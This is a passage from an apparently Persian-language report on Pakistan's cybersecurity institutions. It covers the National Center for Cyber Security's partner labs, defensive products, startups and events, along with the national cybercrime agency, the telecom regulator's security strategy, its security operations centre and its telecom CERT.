مشــخص داشته‌باشــند. حوزه‌هــای کلیــدی کــه محــدوده پروژه را تعییــن می‌کنند، شــامل 

موارد زیر است:

 y رمزنگاری، تحلیل رمز و پنهان‌نگاری؛‌

 y اطلاعات منبع‌باز )اوسینت(؛‌

 y امنیت وب و داده‌های کلان؛‌

 y امنیت فضای ابری و مراکز داده؛‌

 y اطلاعات تهدیدهای سایبری؛‌

 y چارچوب امنیت رسانه‌های اجتماعی؛‌

 y  ارتباط بین امنیت سایبری و حفظ حق آزادی بیان در فضای دیجیتال؛‌

 y 5(؛G( امنیت و حریم خصوصی نسل پنجم اینترنت‌
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 y امنیت و ممیزی سیستم‌های کنترل صنعتی؛‌

 y عوامل انسانی در امنیت سایبری؛‌

 y جرم‌شناسی دارک وب؛‌

 y جرم‌شناسی دیجیتال در محیط‌های هوشمند؛‌

 y امنیت فناوری مالی )فین‌تک(؛ و‌

 y .]29[ امنیت مبتنی‌بر هوش‌مصنوعی‌

: همانـــطور کـــه پیش‌تـــر اشـــاره شـــد، مرکـــز ملـــی امنیـــت  همکاری‌هـــای علمـــی مرکـــز

ســـایبری همکاری‌هـــای گســـترده‌ای بـــا دانشـــگاه‌های پاکســـتان دارد و در زمینـــه توســـعه 

و  محصـــولات  و  نوآفریـــن  شـــرکت‌های  ســـایبری،  امنیـــت  تخصصـــی  آزمایشـــگاه‌های 

ابزارهـــای نویـــن در حوزه امنیـــت ســـایبری فعالیـــت دارد. ایـــن مرکـــز همچنیـــن بـــا برگـــزاری 

گاهـــی در ایـــن حوزه ایفـــا  رویدادهـــای تخصصـــی نقـــش مهمـــی در ارتقـــای ســـطح دانـــش و آ

، شـــرکت‌های تاسیس‌شـــده  می‌کنـــد. درادامـــه، دانشـــگاه‌های دارای همـــکاری بـــا ایـــن مرکـــز

ــوند.  ــی می‌شـ ــل معرفـ ــه تفصیـ ــط آن بـ ــعه‌یافته توسـ ــای توسـ ــز و ابزارهـ ــن مرکـ ــر ایـ ــر نظـ زیـ

ـــز  ـــن مرک ـــی ای ـــرکای علم ـــوان ش ـــه به‌عن ـــی ک ـــز تحقیقات ـــگاه‌ها و مراک ـــی از دانش ـــت برخ فهرس

ــد، در جـــدول ۶  ــز تاسیـــس کرده‌انـ ــر ایـــن مرکـ ــر نظـ ــگاه‌هایی زیـ ــرده‌ و آزمایشـ ــارکت کـ مشـ

ارائـــه شده‎اســـت ]30[.

   جدول ۶:      همکاری‌های علمی مرکز ملی امنیت سایبری ]30[  

یر نظر لوگوی دانشگاه/موسسهنام دانشگاه/موسسه نام آزمایشگاه تاسیس‌شده ز
مرکز ملی امنیت سایبری

آزمایشگاه ملی جرم‌شناسی سایبری1دانشگاه نیرو هوایی اسلام‌آباد

1.  National Cybercrime Forensics Lab
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یر نظر لوگوی دانشگاه/موسسهنام دانشگاه/موسسه نام آزمایشگاه تاسیس‌شده ز
مرکز ملی امنیت سایبری

آزمایشگاه شناسایی و مقابله با دانشگاه بحریه اسلام‌آباد1
2)CRC( تهدیدهای سایبری

آزمایشگاه امنیت دستگاه‌ها و دانشگاه نیرو هوایی اسلام‌آباد
شبکه3

دانشگاه علوم مدیریت لاهور 
)LUMS(

آزمایشگاه امنیت اینترنت و حریم 
خصوصی4

دانشگاه مهندسی و فناوری 
اِِن‌ای‌د‌ی کراچی5

آزمایشگاه امنیت اینترنت و فناوری 
کوانتومی6

دانشگاه ملی علوم و فناوری 
7)NUST( اسلام‌آباد

آزمایشگاه ممیزی و ارزیابی امنیتی8

دانشگاه مهندسی و فناوری 
9 )UET( لاهور

آزمایشگاه امنیت اینترنت اشیا10

11 آزمایشگاه سیستم‌های امن نوآورانه12دانشگاه پیشاور

1.  Bahria University Islamabad
2.  Cyber Reconnaissance and Combat (CRC) Lab
3.  Devices and Network Security Lab
4.  Internet Security and Privacy Lab
5.  NED University of Engineering and Technology Karachi
6.  Internet Security and Quantum Technology Lab
7.  National University of Sciences & Technology Islamabad
8.  Security Auditing and Evaluation Lab
9.  University of Engineering and Technology Lahore
10.  Internet of Things (IoT) Security Lab
11.  University of Peshawar
12.  Innovative Secured Systems Lab
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   اول بخش     پاکستانیبریامنیت سا  .

یر نظر لوگوی دانشگاه/موسسهنام دانشگاه/موسسه نام آزمایشگاه تاسیس‌شده ز
مرکز ملی امنیت سایبری

دانشگاه مهندسی و فناوری 
)UET( تاکسیلا 1 

آزمایشگاه بازرسی عمیق بسته‌ها 
2)DPI(

دانشگاه مهندسی و فناوری 
3 آزمایشگاه سیستم‌های امن نوآورانه)UET( پیشاور

موسسه مهندسی و علوم 
 )PIEAS( کاربردی پاکستان

اسلام‌آباد4

آزمایشگاه حفاظت از زیرساخت‌های 
حیاتی و تحلیل بدافزارها5

دانشگاه فناوری اطلاعات 
6 )ITU( لاهور

آزمایشگاه امنیت بلاک‌چین7

محصــولات/ نمونه‌‌هــای اولیــه مرکــز ملــی امنیــت ســایبری در حــوزه امنیــت ســایبری: 

مرکــز ملــی امنیــت ســایبری باهــدف تقویــت امنیــت فضــای ســایبری کــشور و بــا همــکاری 

دانشــگاه‌ها و موسســات مــذکور و آزمایشــگاه‌های تاسیس‌شــده در آن‌هــا محصــولات و 

نمونه‌هــای اولیــه متعــددی در حوزه‌هــای مختلــف امنیتــی ارائــه کرده‎اســت. ایــن محصــولات 

ــا تهدیدهــای ســایبری، ارزیــابی امنیتــی، تجزیه‌وتحلیــل  ‌هــایی بــرای مقابلــه ب شــامل راهکار

بلاک‌چیــن، امنیــت اینترنــت اشیــا، و امنیــت دســتگاه‌های تلفــن همــراه اســت کــه در جدول 

۷ بــه معرفــی نمونه‌هــایی از آن‌هــا پرداختــه شده‌اســت ]31[.

1.  University of Engineering and Technology Taxila
2.  Deep Packet Inspection (DPI) Lab
3.  University of Engineering and Technology Peshawar
4.  Pakistan Institute of Engineering & Applied Sciences (PIEAS) Islamabad
5.  Critical Infrastructure Protection & Malware Analysis Lab
6.  Information Technology University (ITU) Lahore
7.  Blockchain Security Lab
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   جدول ۷:      محصولات و نمونه‎های اولیه مرکز ملی امنیت سایبری  
نام آزمایشگاه سازنده 
محصول/ نمونه اولیه

نام محصول/ 
معرفی محصول/ نمونه اولیهنمونه اولیه

آزمایشگاه شناسایی 
و مقابله با تهدیدهای 

)CRC( سایبری
Netspection

Netspection امنیت بی‌سابقه‌ای ارائه می‌دهد و گزینه‌های 
انعطاف‌پذیری برای استقرار فراهم می‌کند تا کاربران بتوانند 
ســرمایه‌گذاری‌های شبکه خود را بهینه کنند. این سیستم 
بهترین کارآیی امنیتی، عملکرد مقیاس‌پذیر و کنترل‌ نسل 
کــه  را فراهــم می‌کنــد  آینــده ســامانه‌های تشــخیص نفــوذ 
مدیریت امنیت را ساده‌تر می‌سازد. این سیستم همچنین 
امنیــت شــبکه را در محیط‌هــای فیزیکــی و مجــازی یکپارچه 
کــرده و از کســب‌وکارها در برابــر تهدیدهــای جدیــد ماننــد 
بدافزارهــا، حــملات روز صفــر، شــبکه ربات‌هــا )بات‌نت‌هــا(، 
هدفمنــد  حــملات  و  سرویــس  از  محروم‌ســازی  حــملات 

پیشرفته محافظت می‌کند.

آزمایشگاه امنیت 
بلاک‌چین

راهکار 
PKICHAIN

راهــکار PKIChain سیســتمی مبتنی‌بــر بلاک‌چین اســت که 
، مدیریت و لغو گواهی‌نامه‌های دیجیتال مانند  جهت صدور
گواهی‌هــای ‌SSL 1 بــرای مالــکان دامنــه طراحــی شده‌اســت. 
ایــن سیســتم شــفافیت، مــمیزی و ردیــابی را با اســتفاده از 
بلاک‌چیــن فراهــم می‌کنــد و هــر عملیــات صــدور گواهــی بــا 
توافق چندین گره شبکه انجام می‌شود. این راهکار در برابر 
حملات جدید مانند دستکاری لاگ‌ها، حملات محروم‌سازی 
از سرویس، حملات محروم‌ســازی از سرویس توزیع‌شده و 
سوءاســتفاده از قدرت مرکز صدور گواهی، حملات دولتی و 

سیستم‌ها یا زیرساخت‌های معیوب مقاوم است.

آزمایشگاه امنیت 
اینترنت و فناوری 

کوانتومی

پلتفرم امنیت 
و اطلاعات 

تهدیدها2

ایــن راهــکار کنترل‌هــای امنیتــی و اطلاعات جامــع تهدیدها 
داشــبوردهای  و  می‌دهــد  ارائــه  متمرکــز  مــکان  یــک  در  را 
تعاملــی فراهــم می‌کند. این راهکار با قابلیت کشــف دارایی 
و مدیریــت دارایی‌هــا، رابطــه آن‌ها را شــمارش کــرده و نمای 

بهتری از زیرساخت‌ها ارائه می‌دهد.

1.  گواهــی SSL یــک پروتــکل امنیتــی اســت کــه وظیفــه ایجــاد ارتبــاط امــن بیــن کلاینــت و سرور را برعهــده دارد و ایــن کار را 
بــا احــراز هویــت سرور و کلاینــت و کلیدهــای رمزنــگاری انجــام می‌دهــد.

2.  Security & Threat Intellingence Platform
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نام آزمایشگاه سازنده 
محصول/ نمونه اولیه

نام محصول/ 
معرفی محصول/ نمونه اولیهنمونه اولیه

آزمایشگاه امنیت 
اینترنت اشیا

 THINGZ
FIREWALL

ThingzFirewall Lite یــک فایروال خانگی/ اداری هوشــمند 
اســت کــه بــرای محافظــت از تمــام دســتگاه‌های متصل به 

اینترنت در خانه یا دفاتر کوچک طراحی شده‌است.

آزمایشگاه 
سیستم‌های امن 

نوآورانه

کانتینر 
هوشمند1

کانتینــر هوشــمند براســاس ترکیــب فنــاوری اینترنــت اشیا 
بــا ماژول‌های لجســتیکی ســاخته شده‌اســت. ایــن کانتینر 
برای انتقال امن اطلاعات پارامترهای محیطی داخل کانتینر 
در حیــن حمل‌ونقــل زمینــی یــا دریایی اســتفاده می‌شــود تا 

محرمانگی و یکپارچگی داده‌های انتقالی تضمین شود.

آزمایشگاه ممیزی و 
ارزیابی امنیتی

ابزار ارزیابی 
امنیت وب 
2)WebSAT(

به‌منــظور  کــه  اســت  ابــزاری  وب  امنیــت  ارزیــابی  ابــزار 
وب  برنامه‌هــای  در  موجــود  آسیب‌پذیری‌هــای  شناســایی 
 ۱۰ شناســایی  بــرای  بیشــتر  ابــزار  ایــن  شده‌اســت.  طراحــی 
نوع آسیب‌پــذیری‌ اصلــی در امنیــت وب )OWASP(3 ایجــاد 

شده‌است.

آزمایشگاه ملی 
FORKITجرم‌شناسی سایبری

FORKIT یک ابزار جرم‌شناســی رایانه‌ای اســت که به تحلیل 
شواهد جرم‌شناسی به‌دست‌آمده از سیستم‌های احتمالی 
آسیب‌دیــده کمــک می‌کنــد. ایــن ابــزار بــا اســکن ســاختار 
فایل‌هــا، آن‌ها را به دســته‌های مختلف تقسیم کرده و برای 

تجزیه‌وتحلیل دقیق‌تر آماده می‌سازد.

آزمایشگاه امنیت 
AUNIDSدستگاه‌ها و شبکه

AUNIDS هرگونــه فعالیت مخرب در داخل شــبکه را به‌طور 
مــوثری شناســایی می‌کنــد. ایــن سیســتم همــواره ترافیک 
جریان شبکه را نظارت کرده و رویدادها و هشدارها را در رابط 

کاربری وب به صورت آنی )در زمان واقعی( گزارش می‌دهد.

ین وابســته‌به مرکز ملی امنیت ســایبری: شــرکت‌های نوآفرین فعالی  شــرکت‌های نوآفر

ـسایبری وــجود دارــند ــکه برآــمده از آزمایــشگاه‌‎های وابســته‌به مرکــز ملی  در حوزه امنــیت ـ

امنیت ســایبری هســتند. این شرکت‌ها در حوزه‌های مختلفی مانند امنیت اینترنت اشیا، 

1.  Smart Container
2.  Web Security Assessment Toolkit
3.  OWASP (Open Web Application Security Project) Top 10
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امنیــت بلاک‌چیــن، ارزیابی و ممیزی امنیتی، جرم‌شناســی ســایبری و امنیت دســتگاه‌ها و 

شبکه‌ها فعالیت می‌کنند. فهرست تعدادی از شرکت‌های نوآفرین زیرمجموعه مرکز ملی 

امنیت سایبری در جدول ۸ ارائه شده‌است ]32[.

   جدول ۸:      شرکت‌های نوآفرین زیرمجموعه مرکز ملی امنیت سایبری ]32[  

ین آدرس وب‌گاه شرکتلوگوی شرکت آزمایشگاه منشأنام شرکت نوآفر

ThingzEye Pvt Ltd آزمایشگاه امنیت
/https://thingzeye.comاینترنت اشیا

PKICHAIN آزمایشگاه امنیت
/https://pkichain.comبلاک‌چین

 Lynx Information
Security Pvt Ltd

آزمایشگاه ممیزی و 
/https://lynx-infosec.comارزیابی امنیتی

TRIC Tech Pvt Ltd آزمایشگاه ملی
/https://www.t3tech.comجرم‌شناسی سایبری

Cyber Droid Pvt Ltd آزمایشگاه امنیت
https://cyberdroid.nccs.pkدستگاه‌ها و شبکه

رویدادهــای امنیــت ســایبری مرکــز ملــی امنیــت ســایبری: مرکــز ملــی امنیــت ســایبری 

پاکستان باهدف ارتقای سطح امنیت دیجیتال کشور و پرورش نیروی انسانی متخصص در 

حوزه امنیت سایبری، مجموعه‌ای از رویدادها و برنامه‌های آموزشی و رقابتی را برگزار می‌کند. 

ایــن رویدادهــا فضــایی را فراهــم می‌کننــد تا دانشــجویان، محققــان و متخصصــان بتوانند 

مهارت‌ها و ایده‌های خود را در زمینه امنیت سایبری به نمایش بگذارند و با آخرین تحولات 

این حوزه آشــنا شــوند. درادامه، دو نمونه از این رویدادها به‌طور خلاصه معرفی می‌شــوند.
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مســابقه امنیــت ســایبری پاکســتان: مســابقه امنیــت ســایبری پاکســتان1 توســط مرکــز 

ملــی امنیــت ســایبری بــه همــراه تیــم ملــی پاســخ فوری ســایبری پاکســتان )PkCERT( برگــزار 

ــم3،  ــح پرچ ــایبری فت ــای س ــکاتون2، رقابت‌ه ــای ه ــامل رویداده ــابقه ش ــن مس ــود. ای می‌ش

ــود.  ــن5 می‌ش ــرکت‌های نوآفری ــاد ش ــرای ایج ــا ب ــه ایده‌ه ــابقه ارائ ــگاری4 و مس ــابقه رمزن مس

مشــارکت در ایــن رویــداد بــرای دانشــجویان دانشــگاه‌ها و ســایر موسســات آموزشــی در 

سراســر پاکســتان آزاد اســت.

در دنیای دیجیتال امروز برای مقابله با چالش‌های سایبری نیاز مبرمی به پرورش نسل 

جدیدی از کارشناسان امنیت سایبری وجود دارد که با آسیب‌پذیری‌های امنیتی جدید آشنا 

باشــند و راهکارهایی برای ایمن‌ســازی دستگاه‌ها و خدمات جدید در فضای دیجیتال پیدا 

کنند. ازاین‌رو، مسابقه امنیت سایبری پاکستان بستری را فراهم می‌کند تا به شناسایی و 

پرورش نیروهای ماهر در این حوزه و تبدیل پاکستان به کشوری امن، مقاوم و ایمن از نظر 

سایبری کمک کند. این رویداد فرصتی منحصربه‌فرد برای دانشجویان فراهم می‌آورد تا در 

مسابقات مختلف شرکت کرده و توانمندی‌های خود را نشان دهند ]33[.

کنفرانــس‌ بین‌المللــی در زمینــه امنیــت فضــای ســایبری: از دیگــر اقدامــات مرکــز ملــی 

امنیــت ســایبری پاکســتان می‌تــوان بــه برگــزاری کنفرانــس‌ بین‌المللــی در زمینــه امنیــت 

1.  Pakistan Cyber Security Challenge
2.  Hackathon
هــکاتون یــک رویــداد کدنویســی اجتماعــی اســت کــه برنامه‌نویســان بــرای یافتــن راه‌حل‌هــای جدیــد و تکمیــل پروژه‌هــای 
بزرگ مشــترک دور هــم جمــع می‌شــوند. ایــن گردهمــایی معمــولا بــرای ســاخت یــک برنامــه نرم‌افــزاری جدیــد در مــدت 

زمــان نســبتا کوتاهــی معمــولا ۲۴ یــا ۴۸ ســاعت برگــزار می‌شــود.
3.  Capture the Flag (CTF) Event
رقابت‌هــای فتــح پرچــم نوعــی رقابــت ســایبری می‌باشــند کــه در آن، افــراد بــرای نفــوذ یــا برقــراری امنیــت سیســتم‌های 
کامپیــوتری تلاش می‌کننــد. در برگــزاری ایــن رقابت‌هــا چالش‌هــای تصنعــی و غیــر تصنعــی پیاده‌ســازی می‌شــود و شــرکت 
کننــدگان بــه‌صورت گروهــی بــرای رمزگشــایی اطلاعــات و یــا کشــف آسیب‌پذیری‌هــا و نفــوذ بــه سیســتم‌های امنیتــی 

ــد. تلاش می‌کنن
4.  Crypto Challenge
5.  Startup Challenge (Ideas Cup)
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فضای ســایبری )ICSCS(1 اشــاره کرد. این مرکز در ســال‌های 2020، 2021 و 2022 این کنفرانس را 

برگــزار کرده‌اســت و در کنفرانــس ســال 2025 نیــز قصــد دارد تــا رویــداد دو روزه‌ای در دانشــگاه 

نیرو هــوایی اسلام‌آبــاد بــا همــکاری دانشــگاه‌ها و موسســات تحقیقاتــی پاکســتان برگزار کند 

و از محققــان و متخصصــان امنیــت ســایبری از سراســر جهــان دعــوت ‌کنــد تــا پژوهش‌هــا 

و تجربیــات خــود را در زمینه‌هــای پیشــرفته و جدیــد امنیــت ســایبری به‌اشــتراک بگذارنــد. 

ــرای شــرکت‌کنندگان فراهــم  کنفرانــس‌ بین‌المللــی امنیــت فضــای ســایبری 2025 فرصتــی ب

می‌کنــد تــا ایده‌هــا، راهبرد‌هــا و سیاســت‌های خــود در زمینــه امنیــت ســایبری را به‌اشــتراک 

بگذارنــد، بیاموزنــد و نشــان دهنــد ]34[.

سازمان ملی تحقیقات جرایم سایبری پاکستان� 

دولت پاکســتان به‌منظور مقابله با تهدیدهای فزاینده سایبری سازمان ملی تحقیقات 

جرایم ســایبری )NCCIA( را به‌طور رســمی در ســال 2025 تاسیس کرد. این سازمان به‌عنوان 

نهادی مستقل و با اختیارات کامل وظیفه تحقیق و مقابله با تمامی جرایم مرتبط با فضای 

سایبری در سراسر کشور را برعهده دارد. تا پیش از آن، بخش جرایم سایبری2 تحت‌نظارت 

ســازمان فــدرال تحقیقات پاکســتان )FIA( فعالیت می‌کرد، اما باتوجه‌بــه افزایش روزافزون 

حوادثــی همــچون آزار و اذیــت برخــط، باج‌خواهی اینترنتی، ســرقت هویت و ســایر جرایم در 

شــبکه‌های اجتماعــی اکــنون ایــن بخش به نهــادی خودمختــار ارتقا یافته‌اســت تــا تمامی 

مســئولیت‌های مرتبــط بــا پیشــگیری، تحقیــق و اجــرای قوانیــن در حوزه جرایم ســایبری را 

بــه‌طور انحصــاری برعهــده بگیــرد ]35[. ازایــن‌رو، ســازمان ملــی تحقیقــات جرایــم ســایبری 

به‌عنــوان نهــاد مــرکزی بــرای حفاظــت از زیرســاخت‌های دیجیتــال کــشور در زمینــه اجــرای 

گاهــی و تــاب‌آوری در حوزه امنیــت ســایبری فعالیــت می‌کنــد.  قوانیــن ســایبری و ارتقــای آ

1.  International Conference on Secure Cyber Space
2.  Cybercrime Wing
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   اول بخش     پاکستانیبریامنیت سا  .

به‌طورکلی، ایجاد زیست‌بوم دیجیتالی ایمن، مطمئن و تاب‌آور در پاکستان ماموریت اصلی 

این سازمان است که ازطریق پیشگیری، شناسایی، تحقیق و پیگرد جرایم سایبری با تکیه 

بر اجرای ســختگیرانه قانون، نوآوری فناورانه و همکاری عمومی تحقق می‌یابد. چشــم‌انداز 

این سازمان نیز شامل رهبری در مسیر تبدیل پاکستان به یک کشور دیجیتال امن است. 

دراین‌راســتا، ســازمان مذکور با مقابله فعال با تهدیدهای سایبری، تقویت اعتماد عمومی 

به بســترهای دیجیتال و ایجاد همکاری‌های راهبردی نســبت به تقویت تاب‌آوری ســایبری 

در سطح ملی و بین‌المللی مبادرت می‌ورزد ]36[.

سازمان مخابرات پاکستان� 

ســازمان مخابرات پاکستان )PTA( متولی اصلی تنظیم و نظارت بر بخش مخابرات این 

کشور اســت. این ســازمان ســند راهبرد امنیت ســایبری برای بخش مخابرات 2028-20231را 

منتشر کرده که صریحا به‌ اجرای بخش‌هایی از سیاست ملی امنیت سایبری 2021 در حوزه 

 2)nTSOC( مخابرات اشــاره دارد. این سازمان همچنین مرکز ملی عملیات امنیتی مخابرات

را راه‌اندازی کرده تا نظارت و پاسخ در بخش مخابرات را متمرکز کند.

اداره امنیت ســایبری3 وابســته‌به این سازمان نیز درراستای تقویت امنیت سایبری در 

صنعــت مخابرات و ایجاد فضای ســایبری تاب‌آور برای پاکســتان مشورت‌های گســترده‌ای 

با ذینفعان صنعتی و کارشناســان امنیت ســایبری انجام داده‌است. این مشورت‌ها منجر 

بــه اجــرای اقدامــات مختلفی باهــدف ارتقای ســطح امنیت کلــی بخش مخابرات شــده‌اند. 

به‌طورکلــی، اقدامات کلیدی ســازمان مخابــرات در زمینه تقویت و ارزیــابی وضعیت امنیت 

: سایبری صنعت مخابرات پاکستان عبارتنداز

1.  Cyber Security Strategy for Telecom Sector 2023-2028
2.  National Telecom Security Operation Center
3.  PTA's Cyber Security Directorate
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یرســاخت‌های حیاتی مخابرات )CTDISR( )2020(1: این مقررات  مقررات امنیت داده‌ها و ز

شــامل 16 حوزه امنیتــی و 104 اقــدام حفاظتی و امنیتی اســت و ســازمان مخابــرات به‌منظور 

تضمین اجرای یکپارچه آن چارچوب ملی امنیت سایبری مخابرات )2022(2 را ارائه کرد.

مرکز ملی عملیات امنیتی مخابرات )nTSOC(: این مرکز که در ادامه معرفی خواهدشد، 

در ســال 2023 ایجــاد شــد تــا بــا بهــره‌گیری از فناوری‌هــایی همــچون مدیریــت اطلاعــات و 

رویدادهــای امنیتــی )SIEM(3 و هماهنگ‌ســازی ابزارهای امنیتی، خودکارســازی و پاســخ به 

تهدیدهای امنیتی )SOAR(4 بتواند اطلاعات تهدید را مدیریت کرده و از داده‌های حساس 

محافظت کند و مانع نفوذها و رخنه‌های امنیتی شود.

راهــکار اســکن غیرتهاجمــی )Risk Scan(5: ایــن راهــکار امکان اســکن زیرســاخت‌های 

عمومــی بخــش مخابرات را بــه‌صورت مــداوم و غیرتهاجمی فراهــم می‌آورد و دیــد دقیقی از 

وضعیت امنیتی ارائه می‌دهد.

تیــم ملی پاســخ فــوری رایانــه‌ای در حــوزه مخابــرات )nTCERT( )2021(: این ســامانه‌ برخط 

برای حفاظت از داده‌ها و زیرســاخت‌های حیاتی مخابرات راه‌اندازی شده‌اســت و فقط برای 

کاربران و شرکت‌های دارای مجوز رسمی قابل‌دسترسی است ]5[.

مرکز ملی عملیات امنیتی مخابرات� 

ســازمان مخابــرات پاکســتان )PTA( در ســال 2023 مرکــز ملــی عملیــات امنیتــی مخابــرات 

)nTSOC( را راه‌انــدازی کــرد کــه بســتری متمرکــز بــرای مدیریــت حــوادث ســایبری در بخــش 

مخابــرات اســت. ایــن مرکــز تحــت چارچــوب سیاســت ملــی ســایبری پاکســتان 2021 و قــانون 

1.  Critical Telecom Data and Infrastructure Security Regulations (2020)
2.  National Telecom Cyber Security Framework (2022)
3.  Security Information and Event Management
4.  Security Orchestration, Automation, and Response
5.  Non-Intrusive Scanning Tool/ Solution
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   اول بخش     پاکستانیبریامنیت سا  .

و  امنیــت داده‌هــا  تامیــن  و  تاسیــس شده‌اســت  الکترونیکــی 2016  از جرایــم  پیشــگیری 

آن  اصلــی  هــدف  ســایبری  حــملات  برابــر  در  پاکســتان  مخابراتــی  حیاتــی  زیرســاخت‌های 

محســوب می‌شــود]99[. به‌طورکلــی، اهــداف اصلــی مرکــز ملــی عملیــات امنیتــی مخابــرات بــه 

ح زیــر اســت: شر

 y  فراهـــم کـــردن دیـــد وســـیعی بـــه تهدیدهـــای ســـایبری کـــه بخـــش مخابـــرات را هـــدف‌

قـــرار می‌دهنـــد؛

 y  نظــارت بــر شــبکه‌ها و رویدادهــای امنیتــی بــرای شناســایی و پاســخگویی ســریع به‌

تهدیدهای سایبری؛

 y  تسهیل واکنش‌های پیشگیرانه و کاهش تهدیدها با همکاری اپراتورهای مخابراتی‌

جهت پاسخگویی موثر به حوادث سایبری؛ و

 y  جمــع‌آوری، تجزیه‌وتحلیــل و تبــادل اطلاعــات تهدیــد بــا اپراتورهــای مخابراتــی بــرای‌

بهبــود امنیــت و تــاب‌آوری بخــش مخابــرات ]5[.

ایــن مرکــز اولیــن مرکز عملیــات امنیتی بخش مخابرات در پاکســتان اســت کــه پس از 

صدور سیاســت امنیت سایبری ایجاد شده‌اســت ]99[. شایان ذکر است همه اپراتورهای 

مخابراتــی به‌منظور رعایت اســتانداردهای مــقررات امنیت داده‌ها و زیرســاخت‌های حیاتی 

مخابــرات )CTDISR( بایــد مرکز عملیات امنیتی خود را پیاده‌ســازی کرده و آن را به این مرکز 

متصــل کننــد. درواقع، ســازمان مخابرات پاکســتان موفق بــه راه‌اندازی مرکــز ملی عملیات 

امنیتــی مخابرات شده‌اســت که بــه تمامی مراکز عملیــات امنیتی اپراتورهــای بزرگ متصل 

اســت و در آینــده بــه مرکز ملی عملیــات امنیتی نیز متصل خواهدشــد. ازایــن‌رو، مرکز ملی 

عملیــات امنیتــی مخابرات به تامیــن امنیت بخش مخابرات پاکســتان و همچنین تقویت 

وضعیت امنیت ســایبری کشور کمک شــایانی می‌کند. نظارت پیشــگیرانه برای حفاظت از 
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داده‌هــای حســاس در برابر نفوذ دشــمن و واکنــش سریع به هرگونه حمله ســایبری علیه 

زیرســاخت‌های حیاتی مخابراتی از وظایف اصلی مرکز ملی عملیات امنیتی مخابرات است. 

درهمین‌راســتا، ایــن مرکز وظیفه نظارت شــبانه‌روزی بر فضای ســایبری بخــش مخابراتی را 

برعهده دارد ]5[.

مرکز ملی عملیات امنیتی مخابرات از سه مولفه کلیدی تشکیل شده‌است که ابزارهای 

مهمی در مدیریت تهدیدهای سایبری و پاسخ به حوادث امنیتی هستند:

الــف( راهــکار مدیریــت حــوادث و رویدادهــای امنیتــی )SIEM( کــه هشــدارها را از منابع 

مختلف جمع‌آوری و تحلیل کرده و تهدیدهای امنیتی را شناسایی و دسته‌بندی می‌کند؛

ب( راهــکار هماهنگ‌ســازی ابزارهــای امنیتــی، خودکارســازی و پاســخ بــه تهدیدهــای 

امنیتــی)SOAR( کــه وظایفــی ماننــد پاســخ بــه حــوادث و تحقیقــات را بــه صورت خــودکار در 

مــی‌آورد؛ و

پ( بستر اطلاعات تهدید )TIP(1 که به مرکز ملی عملیات امنیتی مخابرات این امکان را 

می‌دهد تا به اطلاعات به‌روز تهدید از منابع مختلف دسترسی پیدا کند ]5[.

تیم ملی پاسخ فوری رایانه‌ای در حوزه مخابرات� 

تیــم ملــی پاســخ فوری رایانــه‌ای در حوزه مخابــرات )nTCERT( ابتکاری از سوی ســازمان 

مخابرات پاکســتان اســت که در ســال 2021 باهدف اشــتراک پیشــگیرانه اطلاعات تهدید با 

اپراتورهــای مخابراتــی ایجــاد شده‌اســت تا آن‌هــا بتوانند اقدامــات امنیتی خــود را مطابق با 

تهدیدهــا هماهنــگ کنند. این تیم همچنیــن تلاش‌های نهادهای امنیت ســایبری داخلی 

ســازمان مخابرات و اپراتورهای مخابراتی را برای پاســخگویی مشترک به هر حادثه سایبری 

هماهنــگ می‌کنــد تــا رویکرد دفاعی و بازیــابی موثر و هم‌افزا ایجاد شــود. درراســتای تحقق 

1.  Threat Intelligence Platform
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   اول بخش     پاکستانیبریامنیت سا  .

ح زیر انجام می‌دهد: ماموریت خود، تیم مذکور اقدامات متعددی به شر

 y پایش مستمر تهدیدهای سایبری و جمع‌آوری اطلاعات تهدیدها؛‌

 y  ،ارائه مشــاوره‌ و هشــدار به اپراتورهای مخابراتی در مورد تهدیدهای سایبری نوپدید‌

آسیب‌پذیری‌ها و تاثیر احتمالی تهدیدهای سایبری بر زیرساخت‌ها و خدمات آن‌ها؛ و

 y  مخابراتــی اپراتورهــای  راهنمایــی  ازجملــه  ســایبری  امنیــت  رخدادهــای  بــه  ‌پاســخ 

آسیب‌دیده در زمینه مهار و حذف تهدیدها و انجام اقدامات بازیابی ]5[.

 )PkCERT( شــایان ذکــر اســت برخــی وظایــف تیــم ملــی پاســخ فوری ســایبری پاکســتان

و تیــم ملــی پاســخ فوری رایانــه‌ای در حوزه مخابــرات )nTCERT( در حوزه‌هــایی ماننــد پایــش 

تهدیدهــا، هشــداردهی و واکنــش بــه رخدادهــای ســایبری هم‌پوشــانی دارد و هــر دو نهــاد در 

گــردآوری اطلاعــات تهدیــد و صدور هشــدارهای امنیتی فعالیت دارنــد. درواقع، تفاوت اصلی 

ایــن دو تیــم در حوزه فعالیــت و دامنــه مســئولیت آن‌هاســت. تیــم پاســخ فوری رایانــه‌ای در 

حوزه مخابــرات به‌عنــوان نهــادی تخصصــی زیــر نظــر ســازمان مخابــرات پاکســتان فعالیــت 

 ، دارد کــه صرفــا بــر حفاظــت از شــبکه‌ها، داده‌هــا و زیرســاخت‌های حیاتــی مخابراتــی کــشور

پشــتیبانی از اپراتورهــا و دارنــدگان مــجوز در بخــش مخابــرات و همچنیــن ارائــه هشــدارهای 

امنیتــی بــه شــرکت‌های مخابراتــی متمرکــز اســت. درمقابــل، تیــم ملــی پاســخ فوری ســایبری 

ــطح  ــایبری در س ــاب‌آوری س ــای ت ــوادث و ارتق ــت ح ــئولیت مدیری ــتان )PkCERT( مس پاکس

ملــی و عمومــی را برعهــده دارد و هــدف آن ارائــه خدمــات مشــاوره، شناســایی، پیشــگیری 

و واکنــش بــه تهدیدهــای ســایبری در گســتره وسیــع‌تری از کــشور اســت. نکتــه دیگــر ایــن 

اســت کــه مخاطبــان تیــم پاســخ فوری ســایبری پاکســتان علاوه‌بــر ســازمان‌های دولتــی و 

بخــش خصوصــی، عمــوم کاربــران را نیــز شــامل می‌شــود و معمــولا بــا تیم‌هــای پاســخ فوری 

کشورهــای دیگــر نیــز همــکاری می‌کنــد.
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3. 4. 2. 2.  شرکت‌های خصوصی پیشرو در حوزه امنیت سایبری پاکستان

همانــطور کــه پیش‌تــر اشــاره‌ شــد، زیســت‌بوم امنیــت ســایبری در پاکســتان ترکیبــی 

از نهادهــای دولتــی، شــرکت‌های خصوصــی، مراکــز پژوهشــی و بازیگــران نوآفریــن اســت 

کــه هریــک نقشــی مهــم در تقویــت تــوان دفاعــی دیجیتــال کــشور ایفــا می‌کننــد. در بخــش 

قبلــی بــه معرفــی نهادهــای دولتــی پرداخته‌شــد و در ایــن بخــش برجســته‌ترین شــرکت‌های 

